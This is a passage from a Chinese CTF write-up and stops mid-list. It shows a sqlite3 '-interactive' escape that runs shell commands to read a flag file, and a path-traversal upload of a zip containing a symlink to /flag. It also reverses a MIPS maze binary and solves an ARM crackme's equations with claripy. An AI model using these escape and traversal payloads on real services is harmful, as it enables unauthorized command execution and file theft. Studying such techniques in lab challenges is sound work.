但是发现题目只可执行一次命令,且过滤了.,但是由于query_idea可控,且通过官方文档,发现交互参数 -interactive force interactive I/O # sqlite3 --help 至此,我们的思路就是通过交互式,绕过python的过滤,达到命令执行 Input your Query command --->> -interactive # here .shell ls / # here .system cat /fl* # here .quit SQLite version 3.37.2 2022-01-06 13:25:41 Enter ".help" for usage hints. sqlite> bin boot dev etc flag.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var sqlite> flag{SCT7SK7PLPD343ZMXFWS8U7RQCHE2TUQ}sqlite>3.sakana_reveagesakana_upload()函数中的文件名 sakana_file_name 完全可控,可以路径穿越在任意位置写文 件,所以可以输入../../../../../tmp/sakanas.zip.zip 写入带有指向/flag 符号链接的压缩包。虽然 限制了文件开头必须是 sakana,但是经过测试 unzip 命令是可以忽略开头的无关数据正常 解压的。sakana_upload_sakanas()函数如果提前触发 base64 解码处的异常就可以直接到达解压压缩 包的代码。由于这里生成 xx.zip 过程中异常跳出,所以生成的不是合法 zip。这时, unzip 会 自动寻找指定位置的 xx.zip.zip 与 xx.zip.ZIP 并解压,于是上面目录穿越传入的压缩包就会被 解压并链接到 flag,接着选择下载获得 flag 还有就是base64解码后要有sakana字段 nc连接 # payload = base64 flag.zip ln -s /flag soft_flag zip --symlink flag.zip soft_flag base64 flag.zip payload加入sakana字段后base64编码 输入1上传 然后选择4,然后随便输入一个字符串,需要触发sakana_upload函数的binascii.Error 最后输入2下载得到flag的base64加密字符串 base64解密得到flag 四、Reverse1.5_re2 mips 64位 想qemu 模拟跑 ,发现没有so ,跑不起来。IDA 没法直接反编译。 Ghidra查看: 定义了 level。 核心是下面的 move 函数。 undefined8 move(void) { char cVar1; int local_230; int local_22c; char local_228 [528]; undefined *local_18; local_18 = &_mips_gp0_value; local_22c = 0; local_228[0] = '\0'; local_228[1] = 0; memset(local_228 + 2,0,0x1fe); printf("input: "); __isoc99_scanf(&DAT_120001878,local_228); while( true ) { do { local_230 = 0; find(); cVar1 = local_228[local_22c]; if (cVar1 == 'w') { local_230 = Up(); } else if (cVar1 < 'x') { if (cVar1 == 's') { local_230 = Down(); } else if (cVar1 < 't') { if (cVar1 == 'd') { local_230 = Right(); } else if (cVar1 < 'e') { if (cVar1 == '\x1b') { return 0xffffffffffffffff; } if (cVar1 == 'a') { local_230 = Left(); } } } } local_22c = local_22c + 1; } while (local_230 != 1); if (level == 2) break; level = level + 1; } puts("flag is ctf{md5(your input)}"); return 1; } wasd 上下左右 , flag格式定义。 find 函数中的定义 ,决定了 迷宫 一行多少值。 跟随 去找map map的定义。 处理下,得到各个level的 map表。 其中第一level的 整理后的迷宫表: 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 3, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 根据find中的 if判断 因此走的路径为 dddddssdsdddsssaassssddds以此类推整理后面两个level的 迷宫表1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 3, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 走的路径分别为dddsssdddsssdssddssddwddssssssdddssssdddss合并起来 走的路径为 dddddssdsdddsssaassssdddsdddsssdddsssdssddssddwddssssssdddssssdddss因此 得到 flag f77feb47f7ff4f9e6e94f297b18652e0 2.5_crackme初步分析 binwalk -Me rootfs.img 有用的文件: /bin/crackme /etc/config config 1E 00 00 00 02 00 00 00 09 00 00 00 40 E3 FF FFD0 E4 FF FF C4 E6 FF FF 78 E2 FF FF 74 EB FF FF1C E9 FF FF 08 E4 FF FF 48 EA FF FF 68 ED FF FF int __fastcall chal_main(int argc, const char **argv){const char *v3; // r0int v4; // r0int v5; // r5int v6; // r0int v7; // r9int v8; // r10int *v9; // r1int v10; // r7int v11; // r5int v12; // r0int *v13; // r1int v14; // r0int v15; // r0bool v16; // zfint v18[16]; // [sp+4h] [bp-74h] BYREFv3 = (const char *)v18;if ( argc >= 2 )v3 = argv[1];if ( argc < 2 )v3 = "/etc/config";v4 = open(v3, 0, 0);if ( v4 >= 1 ){v5 = v4;read(v4, config, 256);close(v5);}v6 = dword_712C[0]++;v7 = v18[config[v6]]; // 应该是取出 return_address sub_3154(1, (int)"2", 0, (int)"a", 0);sub_3154(2, (int)"3", 0, (int)"a", 0);sub_33F8(1);sub_33F8(2);sub_3154(0, (int)"0", 28, (int)"a", 0);sub_3154(6, (int)">> ", 64, (int)asc_659, 0);sub_3154(7, (int)"<< ", 64, (int)"[!!]\n", 1);sub_3154(8, (int)"<< ", 64, (int)"[ok]\n", 1);sub_336C(6);v8 = -1;v9 = &config[dword_712C[0]];v10 = *v9;dword_712C[0] += 2;v11 = v9[1];while ( ++v8 < v11 ){v12 = dword_712C[0]++;strcpy((char *)v18, "bbbbbbbbbbbbbbbb");v13 = &v18[6];v18[6] = config[v12] + v7;BYTE1(v18[4]) = 0;HIWORD(v18[4]) = 0;v18[5] = 16;if ( unk_7130 ){strcpy(unk_7130, "0");v14 = *(_DWORD *)(unk_7130 + 16);if ( *(int *)(unk_7130 + 20) > 27|| (free(v14), v14 = malloc(28), v13 = (int *)unk_7130, (*(_DWORD *)(unk_7130 +16) = v14) != 0) ){memcpy(v14, v18, 28);}}v15 = dword_712C[v10 + 1];v16 = v15 == 0;if ( v15 ){v13 = (int *)unk_7148;v16 = unk_7148 == 0;}if ( !v16 ){*(_DWORD *)(v15 + 16) = v13[4]; *(_DWORD *)(v15 + 20) = v13[5];}if ( !sub_32E8(v10) )return sub_336C(7);}return sub_336C(8);}修正 config 里的偏移 转换成对应的函数地址off = 0xFFFFED68-0x4644for i in range(9):x = ida_bytes.get_dword(0x0c+i*4)ida_bytes.patch_dword(0x0c+i*4, x-off)seg000:00000000 dd 30seg000:00000004 dd 2seg000:00000008 dd 9seg000:0000000C ; int[9]seg000:0000000C dd 3C1Chseg000:00000010 dd 3DAChseg000:00000014 dd 3FA0hseg000:00000018 dd 3B54hseg000:0000001C dd 4450hseg000:00000020 dd 41F8hseg000:00000024 dd 3CE4hseg000:00000028 dd 4324hseg000:0000002C dd 4644hint __fastcall sub_3C1C(char *a1, int a2){int i; // r3for ( i = 0; i < a2; ++i )a1[i] = sbox_list[25][(unsigned __int8)a1[i]];return 1;}int __cdecl sub_4644(unsigned __int8 *flag){int v2; // r6int v3; // r9int v4; // r10int v5; // r0int v7; // [sp+4h] [bp-6Ch]int v8; // [sp+8h] [bp-68h] int v9; // [sp+Ch] [bp-64h]int v10; // [sp+10h] [bp-60h]int v11; // [sp+14h] [bp-5Ch]int v12; // [sp+18h] [bp-58h]int v13; // [sp+1Ch] [bp-54h]int v14; // [sp+20h] [bp-50h]int v15; // [sp+24h] [bp-4Ch]int v16; // [sp+28h] [bp-48h]int v17; // [sp+2Ch] [bp-44h]int v18; // [sp+30h] [bp-40h]int v19; // [sp+34h] [bp-3Ch]int v20; // [sp+38h] [bp-38h]int v21; // [sp+3Ch] [bp-34h]int v22; // [sp+40h] [bp-30h]int v23; // [sp+44h] [bp-2Ch]int v24; // [sp+48h] [bp-28h]int v25; // [sp+4Ch] [bp-24h]v25 = abs(159947 * *flag - 17274276);v24 = abs(4294891102 * flag[1] - 288728 * *flag + 36973368);v23 = abs(-247146 * flag[1] - 291401 * *flag - 166371 * flag[2] + 75709167);v22 = abs(-1741 * flag[1] + 218084 * flag[3] + 280814 * *flag - 149372 * flag[2] -33947928);v21 = abs(174323 * flag[3] + 136024 * flag[2] - 141923 * flag[1] - 301049 * flag[4] +323059 * *flag - 53238195);v20 = abs(-12269 * flag[3]+ 286713 * flag[1]- 78320 * *flag+ 301362 * flag[2]+ 269836 * flag[5]- 255324 * flag[4]- 99312448);v19 = abs(-103798 * flag[2]+ 201146 * flag[5]- 285406 * flag[3]- 188094 * flag[4]- 104025 * *flag- 50098 * flag[1]- 109789 * flag[6]+ 50727897);v18 = abs(117443 * flag[7]+ 275692 * flag[3]+ 349275 * flag[1]- 381943 * flag[2]+ 332376 * flag[4]- 269146 * flag[5]+ 222994 * flag[6]- 267344 * *flag+ 9817748);v17 = abs(19156 * flag[6]+ -281586 * flag[7]- 168850 * *flag+ 363716 * flag[3]- 32886 * flag[1]+ 44299 * flag[4]+ 170590 * flag[8]+ 81061 * flag[5]+ 201865 * flag[2]- 32987442);v16 = abs(22459 * flag[6]+ -80349 * flag[1]+ 239015 * flag[5]- 42367 * flag[9]- 113712 * flag[7]- 146568 * flag[2]+ 241696 * flag[3]+ 232212 * *flag- 162511 * flag[8]+ 61621 * flag[4]- 41031017);v15 = abs(-1754 * *flag+ 128062 * flag[7]- 329492 * flag[3]- 167316 * flag[2]- 178991 * flag[4]+ 186377 * flag[10]+ 307270 * flag[6]- 328477 * flag[8]+ 248665 * flag[1]+ 374863 * flag[9]+ 373711 * flag[5]- 86829517);v14 = abs(11843 * flag[5]+ 17087 * flag[3]- 35818 * *flag- 182330 * flag[7]- 354816 * flag[4]- 126036 * flag[2]+ 114656 * flag[8]- 90442 * flag[9]+ 330888 * flag[11]+ 78226 * flag[10]- 260641 * flag[1]+ 105414 * flag[6]+ 63250156);v13 = abs(7469 * flag[9]+ 6283 * flag[11]+ -87345 * flag[2]+ 248111 * flag[5]+ 213581 * flag[4]+ 89194 * flag[8]+ 36305 * flag[6]+ 98667 * flag[1]+ 300755 * flag[12]+ 191415 * flag[7]+ 350540 * *flag+ 359565 * flag[10]- 185365 * flag[3]- 165783260);v12 = abs(8209 * flag[8]+ 131781 * flag[1]+ 152898 * *flag+ 40158 * flag[11]- 86271 * flag[12]- 105755 * flag[6]+ 264037 * flag[3]- 130948 * flag[10]- 243572 * flag[7]- 48159 * flag[2]- 269443 * flag[9]- 376534 * flag[5]- 67954 * flag[4]- 119669 * flag[13]+ 117580744);v11 = abs(-3429 * flag[6]+ 102230 * flag[5]+ 126967 * flag[10]- 344174 * flag[8]- 225911 * flag[11]+ 118364 * flag[14]- 72044 * flag[1]+ 280519 * *flag- 241789 * flag[2]- 274918 * flag[9]- 91055 * flag[12]- 122403 * flag[3]+ 118907 * flag[7]- 34240 * flag[13]+ 240524 * flag[4]+ 35507568);v10 = abs(-24137 * flag[9]+ 28203 * flag[13]+ 150213 * flag[1]+ 311204 * *flag- 94750 * flag[7]+ 130029 * flag[2]- 305057 * flag[14]+ 176246 * flag[5]- 256662 * flag[8]- 331010 * flag[12]- 301118 * flag[4]- 309379 * flag[10]+ 187867 * flag[3]- 102250 * flag[11]- 340412 * flag[15]+ 144084 * flag[6]+ 39635710);v9 = abs(-27445 * flag[12]+ -289483 * flag[10]- 164045 * flag[16]- 218276 * flag[1]+ 183266 * flag[3]- 311967 * flag[8]- 55127 * flag[14]- 211824 * flag[13]- 375628 * flag[9]- 201931 * *flag- 324618 * flag[4]+ 52026 * flag[6]+ 93926 * flag[5]- 105199 * flag[7]- 254102 * flag[15]- 159881 * flag[11]+ 378091 * flag[2]+ 106013500);v2 = flag[3];v8 = abs(27619 * flag[4]+ 9873 * flag[1]+ -23276 * flag[8]+ -196254 * flag[9]+ 181235 * *flag+ 150865 * flag[16]- 148807 * flag[14]- 272020 * flag[17]- 346803 * flag[2]- (v2 | (v2 << 16))+ 132879 * flag[10]+ 239833 * flag[6]- 151023 * flag[11]+ 224631 * flag[12]+ 294607 * flag[5]- 362447 * flag[7]- 110250 * flag[15]+ 153229 * flag[13]+ 56953741);v7 = abs(-1159 * flag[1]+ 6659 * flag[6]+ -25875 * flag[7]+ 80743 * flag[10]+ 38124 * flag[9]+ 40844 * flag[13]- 259165 * flag[12]+ 340584 * flag[16]+ 107346 * flag[2]- 124400 * flag[8]- 34846 * flag[11]a- 338119 * flag[17]- 220860 * flag[5]+ 167374 * flag[3]+ 71134 * flag[15]- 143594 * flag[14]- 115172 * flag[4]- 104789 * *flag+ 108066 * flag[18]+ 50659353);v3 = abs(-26438 * flag[19]+ 14055 * flag[10]+ 31477 * flag[12]+ -179950 * flag[4]+ 79775 * flag[17]+ 70516 * flag[5]+ 330549 * flag[2]+ 169852 * flag[11]+ 51486 * flag[7]+ 123944 * flag[13]- 370154 * flag[14]- 132851 * flag[18]+ 237187 * flag[3]- 89341 * flag[9]- 256083 * flag[1]+ 317327 * *flag+ 42009 * flag[15]+ 336122 * flag[6]+ 128554 * flag[8]- 205903 * flag[16]- 112255597);v4 = abs(30250 * flag[5]+ 127076 * flag[16]- 218938 * *flag+ 162996 * flag[14]+ 141792 * flag[12]- 197967 * flag[9]- 247332 * flag[4]- 286218 * flag[7]- 168508 * flag[18]+ 300020 * flag[2]- 46255 * flag[10]- 78960 * flag[19]+ 213181 * flag[6]- 329333 * flag[13]+ 126938 * flag[8]- 266759 * flag[11]+ 182266 * flag[17]- 41677 * flag[1]+ 158645 * flag[15]- 61925 * flag[3]+ 67755 * flag[20]- 52014431);v5 = abs(-281 * *flag+ 10712 * flag[19]+ 14584 * flag[4]+ -167168 * flag[13]+ 308120 * flag[7]- 233003 * flag[8]+ 114047 * flag[14]+ 330767 * flag[10]- 71246 * flag[6]- 259485 * flag[2]+ 374645 * flag[21]- 116397 * flag[3]+ 64115 * flag[20]+ 281339 * flag[9]+ 321916 * flag[15]- 272240 * flag[12]- 135149 * flag[16]- 288340 * flag[18]+ 71833 * flag[11]- 233821 * flag[1]- 223297 * flag[17]+ 141256 * flag[5]+ 17267952);return v24+ v25+ v23+ v22+ v21+ v20+ v19+ v18+ v17+ v16+ v15+ v14+ v13+ v12+ v11+ v10+ v9+ v8+ v7+ v3+ v4+ v5 == 0;}大概逻辑其实就是根据 config 里的数据去调用对应的函数。 最终调用验证方程。 用 claripy 解出方程后,再逆置换就能得到 flag 了 import claripysbox = [0xA8, 0xC4, 0x13, 0xDF, 0x63, 0x5F, 0x4E, 0x6B, 0x12, 0xD6, 0x28, 0xBF, 0x40, 0x11,0x64, 0x5A, 0x71, 0xDD, 0xD4, 0x35, 0xD5, 0x0F, 0x50, 0x9D, 0xCF, 0x7B, 0xEB, 0x0C, 0x3B,0x6F, 0xA0, 0x5C, 0x5D, 0x90, 0xF5, 0x4B, 0xFF, 0x31, 0xB7, 0x14, 0xF9, 0xAF, 0xD3, 0xEE,0x69, 0x36, 0xD7, 0xF3, 0xEF, 0x65, 0x05, 0x3F, 0x99, 0x49, 0x57, 0x2A, 0xEA, 0xB9, 0xB3,0x8C, 0x7D, 0xFB, 0x1C, 0x80, 0xF1, 0xDC, 0xDA, 0x93, 0x7C, 0x62, 0xA2, 0xA9, 0x58, 0xC5,0xA1, 0x0B, 0x5E, 0x09, 0x34, 0xA4, 0x22, 0x78, 0x68, 0x70, 0x6E, 0x54, 0x6D, 0x2F, 0x46,0xE1, 0xA6, 0xF2, 0x29, 0x0E, 0x21, 0xFC, 0x15, 0x9F, 0x59, 0xB0, 0x18, 0x08, 0x95, 0x1F,0x77, 0xD8, 0x67, 0x16, 0x20, 0x81, 0xF4, 0x60, 0x51, 0xB8, 0x7A, 0xCB, 0x3D, 0x7E, 0xA5,0xE9, 0xD2, 0xFA, 0x74, 0x91, 0x1A, 0x8F, 0x19, 0x3C, 0x83, 0x8B, 0xC0, 0x37, 0x73, 0x8E,0x8A, 0x07, 0x30, 0xE8, 0xAA, 0x2D, 0x8D, 0x55, 0x53, 0x96, 0x0D, 0x76, 0x6A, 0x88, 0x0A,0x25, 0x87, 0x26, 0x79, 0x10, 0xC6, 0x1E, 0xC2, 0x01, 0xDE, 0x56, 0xAD, 0xB2, 0xAE, 0xBD,0x75, 0xB6, 0x66, 0x33, 0xE6, 0xE2, 0xBB, 0xC3, 0xD1, 0x1B, 0x2E, 0xB4, 0x1D, 0x32, 0x02,0x47, 0x42, 0x3A, 0x89, 0xBC, 0xE0, 0x44, 0xBE, 0xFE, 0x98, 0x06, 0xE4, 0xB1, 0x38, 0xE3,0x86, 0xA7, 0xB5, 0x94, 0x03, 0xEC, 0xC9, 0x61, 0x52, 0xF6, 0x72, 0x4C, 0xAC, 0xC8, 0xC1,0x45, 0x3E, 0x6C, 0xCD, 0xC7, 0x48, 0xAB, 0x5B, 0x82, 0x27, 0x00, 0x39, 0x84, 0xED, 0x7F,0xCE, 0x97, 0x24, 0x43, 0x4D, 0xF0, 0x85, 0x4F, 0x9B, 0xA3, 0x41, 0xD9, 0x2B, 0x92, 0xF7,0xFD, 0xDB, 0x17, 0xE7, 0xF8, 0xCA, 0xBA, 0x4A, 0x23, 0xE5, 0x9C, 0xD0, 0x9E, 0x2C, 0x9A,0x04, 0xCC, 0xFC, 0x97, 0x79, 0xBA, 0xC1, 0x8F, 0xD1, 0x17, 0x87, 0x52, 0x84, 0x0E, 0xB4,0x4B, 0x1C, 0x2B, 0xF2, 0xF8, 0xAD, 0xD9, 0xD4, 0x46, 0x78, 0xE6, 0x5F, 0x89, 0x6B, 0x76,0xC7, 0x29, 0xD2, 0x04, 0x31, 0x43, 0x4E, 0x7E, 0xA3, 0xF7, 0xA4, 0x5B, 0x01, 0x58, 0xBD,0x3A, 0xFB, 0x56, 0xD0, 0x68, 0x8C, 0x3B, 0xF0, 0x59, 0x0C, 0x90, 0xEB, 0xB3, 0xBB, 0xB1,0x47, 0xF1, 0x09, 0x41, 0x64, 0x93, 0x4F, 0x55, 0xB2, 0x92, 0x7A, 0xF4, 0x7D, 0x6F, 0x40,0x5C, 0xFE, 0x82, 0x16, 0xB6, 0x33, 0x7C, 0xF9, 0x91, 0x81, 0x0B, 0x15, 0x57, 0x54, 0x60,0xA0, 0xE0, 0x3E, 0x50, 0x66, 0x13, 0x0D, 0xDC, 0x06, 0xF6, 0xC6, 0xE1, 0xC5, 0x96, 0x9C,0x94, 0x5E, 0xEE, 0x73, 0x8A, 0x42, 0x36, 0xD3, 0x67, 0xA9, 0xE2, 0x18, 0x86, 0x9F, 0xB8,0x1A, 0xFF, 0xC4, 0x69, 0x8B, 0x02, 0xF3, 0x99, 0x9A, 0x10, 0xD7, 0xC8, 0x28, 0xED, 0xB9,0x12, 0x72, 0xBC, 0x74, 0x2F, 0xCB, 0xC2, 0x35, 0xAB, 0x98, 0xA2, 0x14, 0x53, 0xE4, 0xB0,0x2A, 0x63, 0xA1, 0x70, 0x9B, 0x5A, 0xAE, 0x75, 0x71, 0x19, 0xA6, 0xCE, 0x80, 0xF5, 0x49,0xD8, 0x24, 0xDE, 0x22, 0x85, 0x30, 0x6D, 0x00, 0x2E, 0x27, 0x05, 0xFA, 0x88, 0xC3, 0x1B,0x8D, 0x2C, 0xCC, 0x3F, 0xE8, 0xD5, 0x83, 0xDD, 0xE3, 0x0F, 0x61, 0xEA, 0x4C, 0x9E, 0xE9,0x3C, 0xAF, 0x32, 0x0A, 0xBE, 0x1F, 0xDA, 0xA7, 0x4A, 0xD6, 0x3D, 0x26, 0x39, 0xB5, 0x8E,0x1D, 0x6E, 0x38, 0x9D, 0x08, 0xCA, 0xE5, 0xB7, 0x62, 0xBF, 0x2D, 0xA8, 0x95, 0x6A, 0xFD,0x34, 0x07, 0xA5, 0x5D, 0x25, 0xC0, 0x48, 0x51, 0x44, 0x4D, 0x7F, 0x45, 0xAC, 0xEC, 0x03,0xAA, 0xC9, 0xDB, 0x65, 0xCD, 0x11, 0x7B, 0x23, 0x1E, 0x37, 0x20, 0xEF, 0x21, 0xE7, 0xCF,0xDF, 0x6C, 0x77, 0xB7, 0x1C, 0x94, 0x39, 0x0A, 0x7B, 0x3C, 0x36, 0xDA, 0xC9, 0x13, 0x7C,0x6D, 0x00, 0x45, 0xCE, 0xB9, 0xCB, 0x74, 0xA7, 0x9C, 0xD1, 0x56, 0xE6, 0xAA, 0x35, 0xBE,0x6F, 0x3D, 0x3F, 0xB4, 0xD5, 0x59, 0x10, 0x40, 0x73, 0x44, 0x76, 0xC8, 0x6E, 0x20, 0x92,0x89, 0xA8, 0x30, 0x03, 0xAF, 0xE7, 0x91, 0x17, 0x1F, 0xDB, 0x9B, 0x22, 0x1E, 0xA3, 0x5E,0x72, 0xD9, 0x41, 0x0D, 0x0C, 0x26, 0x93, 0xE0, 0xCA, 0x99, 0x01, 0xA1, 0xD7, 0x84, 0x4E,0xDE, 0x5C, 0x8C, 0x98, 0xEA, 0x81, 0xF4, 0x2F, 0x2D, 0xF8, 0x16, 0x88, 0x57, 0x4C, 0xD0,0x0F, 0xB0, 0x09, 0x79, 0x14, 0xA2, 0xB8, 0x18, 0x70, 0xFE, 0x34, 0x55, 0x49, 0x82, 0xD8,0xCD, 0xF1, 0x31, 0xD3, 0x3B, 0x38, 0x6C, 0x9D, 0x83, 0x75, 0xBF, 0x5F, 0x4F, 0x78, 0x52,0xC6, 0x04, 0x5D, 0x32, 0xA6, 0x61, 0xE3, 0xC1, 0x62, 0x8B, 0x06, 0x3E, 0x0B, 0xFF, 0xEE,0x67, 0xB2, 0x8F, 0xF3, 0xFA, 0x68, 0xDC, 0xC5, 0x7A, 0xFD, 0x71, 0x08, 0xF5, 0x97, 0xB6,0x21, 0x54, 0x60, 0xEF, 0xAB, 0x15, 0x2B, 0x1B, 0xDD, 0xE5, 0xA4, 0xF9, 0x77, 0x11, 0x8D,0xC3, 0x9A, 0xF2, 0x95, 0x29, 0xBA, 0xBD, 0x1D, 0xCC, 0xE4, 0x5B, 0x47, 0x1A, 0x65, 0x64,0x19, 0x7D, 0x7F, 0xA9, 0x42, 0x63, 0x53, 0x6A, 0xAC, 0x2E, 0xC0, 0x87, 0x96, 0xF0, 0x85,0x07, 0x66, 0x46, 0xEC, 0xE1, 0xC2, 0x6B, 0x7E, 0x8E, 0x58, 0x37, 0x25, 0x27, 0x4D, 0x4B,0x12, 0x4A, 0xE8, 0x5A, 0x02, 0xAD, 0xC4, 0x2C, 0x8A, 0xBB, 0xE9, 0xD4, 0x3A, 0xED, 0x48,0xB5, 0x86, 0xD6, 0xA5, 0xF7, 0x23, 0x9E, 0xD2, 0xA0, 0xE2, 0x05, 0xEB, 0x24, 0x43, 0x2A,0x90, 0x69, 0xB1, 0x50, 0x0E, 0xCF, 0x80, 0xAE, 0x9F, 0xB3, 0xDF, 0xBC, 0xC7, 0x28, 0x51,0xF6, 0xFB, 0x33, 0xFC, 0x59, 0xAF, 0x34, 0x7B, 0xD4, 0xDE, 0xF3, 0xB2, 0xEA, 0x3D, 0x3E,0x70, 0xA4, 0x98, 0x35, 0xDD, 0x9F, 0x04, 0x6D, 0x84, 0x2E, 0x64, 0x9C, 0xEB, 0x9A, 0x00,0xBB, 0xE8, 0xE6, 0x8B, 0xD3, 0x2D, 0xD0, 0x33, 0x85, 0x17, 0xA5, 0xA7, 0x8A, 0xA0, 0x7E,0xB0, 0x99, 0xF9, 0x43, 0xC6, 0xC0, 0x08, 0x63, 0xF8, 0xAC, 0x18, 0x4A, 0x52, 0x9D, 0xA3,0x6A, 0xEF, 0x5C, 0xC4, 0x12, 0xA2, 0x6C, 0xE5, 0x2F, 0xCB, 0x0A, 0xAB, 0x23, 0x19, 0xB5,0x32, 0x81, 0x7A, 0xF2, 0x86, 0x60, 0x25, 0xB6, 0xCD, 0xCE, 0xC1, 0x07, 0x53, 0x03, 0xDC,0xD9, 0xEE, 0x6F, 0xFF, 0x1C, 0x0D, 0x8C, 0x47, 0x39, 0xBC, 0x91, 0x6E, 0x1B, 0xF1, 0x36,0x02, 0xE1, 0x8E, 0x4B, 0x82, 0xA9, 0x06, 0xCF, 0x2B, 0x68, 0x79, 0x58, 0xD6, 0xA6, 0x30,0xFB, 0xC2, 0x96, 0x1D, 0x4D, 0x0C, 0x56, 0xF4, 0x40, 0x0B, 0x49, 0x93, 0x5D, 0x10, 0x61,0xFA, 0x2C, 0xB1, 0xE9, 0xEC, 0x83, 0xFC, 0xD7, 0x73, 0x74, 0xD2, 0xDB, 0x1A, 0x9E, 0x92,0xCA, 0xBA, 0x65, 0x78, 0xE3, 0x28, 0x57, 0x3C, 0xE2, 0x14, 0xCC, 0x76, 0xAD, 0x22, 0xB4,0x44, 0x90, 0xFD, 0x97, 0x5F, 0xB8, 0x51, 0x87, 0x2A, 0x05, 0xD5, 0x67, 0xD8, 0x50, 0x09,0x46, 0x80, 0x88, 0xF0, 0xB7, 0xB3, 0xB9, 0xAE, 0x26, 0x5A, 0x6B, 0xC9, 0xBD, 0x8D, 0x21,0x55, 0x20, 0x1E, 0x11, 0xC5, 0xC7, 0x7D, 0x31, 0xED, 0x66, 0xBE, 0x13, 0x54, 0x38, 0xA8,0x4C, 0x71, 0x15, 0x37, 0x4E, 0xA1, 0x16, 0xF5, 0x41, 0xBF, 0xF6, 0x3A, 0x0E, 0x3F, 0x45,0x42, 0xC8, 0xE7, 0xDA, 0xE4, 0x89, 0xE0, 0x01, 0xFE, 0xAA, 0x94, 0x9B, 0x75, 0x5B, 0x7C,0x27, 0x8F, 0x95, 0x29, 0x4F, 0xC3, 0x24, 0x77, 0x62, 0xD1, 0x7F, 0xDF, 0x1F, 0x72, 0x3B,0x0F, 0x5E, 0xF7, 0x69, 0x48, 0x0D, 0x3D, 0xA2, 0x93, 0x60, 0x00, 0x36, 0x8E, 0x25, 0x91,0x79, 0x15, 0x7B, 0xFD, 0x81, 0xF8, 0xAD, 0xD9, 0x1E, 0xB7, 0xAC, 0xD5, 0x84, 0xA5, 0x2A,0xED, 0xAE, 0x28, 0x29, 0xDC, 0x1A, 0x74, 0xEA, 0xE6, 0x16, 0x77, 0xB9, 0x6E, 0x24, 0x5E,0x66, 0xD8, 0x6A, 0xD2, 0x41, 0xB5, 0x7D, 0xE1, 0xCA, 0x72, 0xF7, 0x31, 0x05, 0xBC, 0x14,0x4E, 0x10, 0x48, 0x3C, 0xD7, 0x52, 0xC4, 0x71, 0xC7, 0xB3, 0xCF, 0xD1, 0xB0, 0xCC, 0x23,0xB2, 0xA7, 0xE9, 0x8C, 0x0C, 0x0B, 0x35, 0x96, 0x56, 0x6C, 0xE8, 0x37, 0xD6, 0x86, 0x4D,0xE4, 0x51, 0x4F, 0x69, 0x09, 0x6B, 0xFC, 0x13, 0xA3, 0x7E, 0xC0, 0x04, 0xD4, 0x42, 0x44,0x20, 0xBD, 0xE2, 0x59, 0xFA, 0xCE, 0x0A, 0xF2, 0x5C, 0x6D, 0xCB, 0x5A, 0xBF, 0xBB, 0x1D,0xD3, 0xB1, 0xEE, 0x61, 0x22, 